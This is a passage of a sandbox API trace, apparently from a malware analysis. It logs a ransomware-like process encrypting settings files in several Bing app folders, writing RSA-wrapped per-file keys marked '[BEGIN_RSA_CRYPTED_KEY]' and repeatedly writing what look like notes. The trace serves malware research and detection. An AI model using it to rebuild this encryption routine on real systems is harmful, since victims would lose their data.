pszString="gF8LOAYCZb4aeQhs7ib+wDNfjvVu7X5QWmBQaxuNTunmyVgrnB3PQoevo9yh+P+c\nnAcJo0fHt4MJT/U9bDl6G7JI94boAUmYW8Hydd4U6MmDPujl9fyKZzMS/dz7DkBM\nPCU+rhuIJ1zablWc0obApAuwh0RE74U2Ih1kRx53YzZ2Rg46ry2QDiDAdi+g1Uoe\n837Rhg76tpcvLEsbLcdzQvOsvS3DphmbeQ0TzTMfhsTutNOz0+92UN92ItR083lR\noxMmnWhTh2YwqmAmBM0bd0qniqRRVEkw4a1pbqtla/9SG3ZbC+VZPmVpLDzD4bCJ\nXipdIHzapz6lNa8HunHxIg==\n", pcchString=0x2e3f9a8) returned 1 [0195.458] WriteFile (in: hFile=0xc28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.458] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.458] WriteFile (in: hFile=0xc28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.458] CloseHandle (hObject=0xc28) returned 1 [0195.460] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.460] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.461] ReadFile (in: hFile=0xc28, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.508] SetFilePointer (in: hFile=0xc28, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.509] WriteFile (in: hFile=0xc28, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.509] SetFilePointer (in: hFile=0xc28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.509] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.509] WriteFile (in: hFile=0xc28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.510] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.510] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.510] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.510] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="e7V7smqJMV0vm9KGTfe4t4JZJ8K4lKKGD8sQsOg2w6+UGhaKpMvTavCsIHLSjGMH\n9G3Cph8bIMVNzlT+ccwdXd0Xa81nw3ColtJYbKOBc3BX7dFUih674o+xpW0eBgaO\nbCr58tkA7+CoLO25SqR2CN4Ni0vSthx0IZRApaRjuZhLaPGNSCV/GO/o6Ndrld9g\nTwL3e3+4h9pSfazpFFF6c+pe5yGmh0LZ2o/je/GH4wtBJ0IFaPGItRbXveYP5Y0S\n8kzzrmT2KqOj8QKVRVp3NNPhvAVRL2cVpcbTMVQLszYgtKVXKiPqxZPMmhxC6WK5\n2ifFN7AN4dMbSt24MzI+Ww==\n", pcchString=0x2e3f9a8) returned 1 [0195.510] WriteFile (in: hFile=0xc28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.511] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.511] WriteFile (in: hFile=0xc28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.511] CloseHandle (hObject=0xc28) returned 1 [0195.512] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.512] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0195.513] ReadFile (in: hFile=0xc28, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.513] SetFilePointer (in: hFile=0xc28, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.513] WriteFile (in: hFile=0xc28, lpBuffer=0x59d240*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d240*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.513] SetFilePointer (in: hFile=0xc28, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.513] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.513] WriteFile (in: hFile=0xc28, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.514] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.514] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.514] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.515] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="99TKH0oHB5kLaQZSFak8g1T0bhN0PNBEXETKusll3fRyLc+EW6+ehwt2QBjt+LYv\n/Mh87+qO1/ZKNpkbPM8HALQgvSqFaVfMRKngqZIqOXkb5IE884g7AuF7GGs9LobH\nQIc2vlPPl8mHXF+qXZEzIvTPbZGSJb06kVuTfun3QK1c4rWnBxsWsmeAipMnN00N\nkb+9T6Xt4iHW4j0KjSjfz/puKucF3DKYUlP6csOnvC1HReK2OTstBMmVLJgNWkuH\nztt9rTHoM/97pG7TKqa9s+jsf5fC+H0Dfq+CKrkp2aMIr4vpccB7z9SmxqEpu5/m\n2LeCzNb8E/8/FjnqzsG6LA==\n", pcchString=0x2e3f9a8) returned 1 [0195.515] WriteFile (in: hFile=0xc28, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.515] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.515] WriteFile (in: hFile=0xc28, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.515] CloseHandle (hObject=0xc28) returned 1 [0195.520] WriteFile (in: hFile=0xc34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.522] CloseHandle (hObject=0xc34) returned 1 [0195.522] WriteFile (in: hFile=0xc34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.523] CloseHandle (hObject=0xc34) returned 1 [0195.523] WriteFile (in: hFile=0xc34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.525] CloseHandle (hObject=0xc34) returned 1 [0195.525] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.525] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0195.617] ReadFile (in: hFile=0xc48, lpBuffer=0x59d390, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d390*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.617] SetFilePointer (in: hFile=0xc48, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.617] WriteFile (in: hFile=0xc48, lpBuffer=0x59d1d0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.617] SetFilePointer (in: hFile=0xc48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.617] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.617] WriteFile (in: hFile=0xc48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.618] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.618] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.619] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.619] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="SGoBb11hvuuDVvqKMERwNorHC2Dhsyc2glx/UHiTdkTjR+RSzFHezg/JlGFOHjSg\nod9oaclvtMPjb/A+Ny4T/teWcvSBaOxPz8qNYJBHCxcdDF4gUoS97xu5oBOxCkWm\nBnrxMO7g37tZibpq267nMvxe/4EHJ/Nxy8mw1tLgB2pQwzqE69vQgZ9lcYckO5JY\nyjF2TlnmX0s3bQyWPBiu0RN+rPAYz7wiwKlZIUvh+OgF7TMbUHNReCrIznozoLOA\nHQLc6xxK8oLLIdolRtNvuWxlFiHdtwmyEU7V3CEfpxmMPLtQv+7xHvkFJxraIIrj\nSEEefZTJMiEfxpHG5ntuJQ==\n", pcchString=0x2e3f9a8) returned 1 [0195.619] WriteFile (in: hFile=0xc48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.619] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.619] WriteFile (in: hFile=0xc48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.619] CloseHandle (hObject=0xc48) returned 1 [0195.622] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.622] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0195.623] ReadFile (in: hFile=0xc48, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.644] SetFilePointer (in: hFile=0xc48, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.644] WriteFile (in: hFile=0xc48, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.644] SetFilePointer (in: hFile=0xc48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.644] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.644] WriteFile (in: hFile=0xc48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.645] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.646] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.646] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="g5fkvI1VZ+MxEB7Vc9bTbrBg8Nic/AFfCQTvegFA+dhQL6kCy7CWPQJqCfGiZ9/K\nhT5R9TjpUPJB1n3OfDwxVGPByZEdGso8I8dG80/wNq/3Tt49VW28mBslwgndSHMz\nqH+Zeq75bVTK0XFpt6uWUDJDJSJ6uz7rBIE3LuL4A8q0O/Owj2MeJSF7MqlF69LR\nuTxxU3a/9LNgArsuo0OFTGh96mjtgXZYLPBDfhVN4bYyR33A1C9uq0YPDpETsr2r\ng6W8bgwZmPm0JUp3Y7yt6MN+ZRlD8IOTw/4Ix+fe4bgjb6DAmr2GxZRupScDV20b\nkGLCFqJ3OoWkr2q8+QAEJg==\n", pcchString=0x2e3f9a8) returned 1 [0195.646] WriteFile (in: hFile=0xc48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.646] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.646] WriteFile (in: hFile=0xc48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.647] CloseHandle (hObject=0xc48) returned 1 [0195.648] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.648] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0195.650] ReadFile (in: hFile=0xc48, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.685] SetFilePointer (in: hFile=0xc48, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.686] WriteFile (in: hFile=0xc48, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0195.686] SetFilePointer (in: hFile=0xc48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0195.686] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.686] WriteFile (in: hFile=0xc48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.687] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.687] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Fv8GpjUCgQS0CqRisM7N0hzPO1xE37hkmPgI9Xr/uQFrahJW6Kl7JMcyj9zOmOfV\nrR2kOjQ44/xDgEvfxP054MqzB84Iik0Odkt0umtlsqae4rqp4Fqg0H5Acw0Vz3th\nnIjLlksCOVI7bxGwyfUYTuFKBWkKF4MKPjFKzXh0Tkqx2in9Hdf2y/uj17OQd99f\nXE5qpFe57mezZJXx/aFHNRek6Nvwl1WOPzyr9elttnjNHYeTdFf94wfhqKBvdqsG\nix/wXJ99CoZGE9S/yocBwt+hmKecq5tRCF+5Mk08wIN5ShlNcL4G5aLYc0qTY5V4\nlMiMiQ+Y+9vi6XUbjE+9eQ==\n", pcchString=0x2e3f9a8) returned 1 [0195.687] WriteFile (in: hFile=0xc48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.688] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.688] WriteFile (in: hFile=0xc48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.688] CloseHandle (hObject=0xc48) returned 1 [0195.690] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.690] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingNews_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0195.690] ReadFile (in: hFile=0xc48, lpBuffer=0x59d1e0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.690] SetFilePointer (in: hFile=0xc48, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.690] WriteFile (in: hFile=0xc48, lpBuffer=0x59d1a0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.690] SetFilePointer (in: hFile=0xc48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0195.691] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.691] WriteFile (in: hFile=0xc48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0195.692] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0195.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0195.693] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ilhfezgtYJ0d7p7LqtEhRo8Al9+VXCd2elhwh2heNK/xcBCJYi7Cd225SFyveHi4\nJmq4VhIFgKGDexzHmZKBCLOx45ZQapxaiC/preTmynQQ9W69bLlrqHMf+sxHT/QQ\nb0uuctEg0gy8yM4CJF0DGr227XNZEKwtyt3MFoSWpWbduNzY9Bdh8YZtQWmPS7CR\nP1hnN5z/IrcwoglQx3OTP93fmrFFslsdvxcqYoKihSXluMq17uy0tG5oIBCq4PC0\nQefrJUpon0MA6/velVXFi5VcI0FrJpWNFn3Qo3cmt1rodeYOCR9b1v1RLiU/1D4y\n8hoiUPpEkCGlAmpkj5c/Zg==\n", pcchString=0x2e3f9a8) returned 1 [0195.693] WriteFile (in: hFile=0xc48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0195.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0195.693] WriteFile (in: hFile=0xc48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0195.693] CloseHandle (hObject=0xc48) returned 1 [0195.697] WriteFile (in: hFile=0xc54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.698] CloseHandle (hObject=0xc54) returned 1 [0195.699] WriteFile (in: hFile=0xc54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.700] CloseHandle (hObject=0xc54) returned 1 [0195.701] WriteFile (in: hFile=0xc54, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0195.702] CloseHandle (hObject=0xc54) returned 1 [0195.702] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0195.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BingSports_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0195.721] ReadFile (in: hFile=0xc68, lpBuffer=0x59d1f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d1f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0195.721] SetFilePointer (in: hFile=0xc68, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.721] WriteFile (in: hFile=0xc68, lpBuffer=0x59d1c0*, nNumberOfBytesToWrite=0x0, 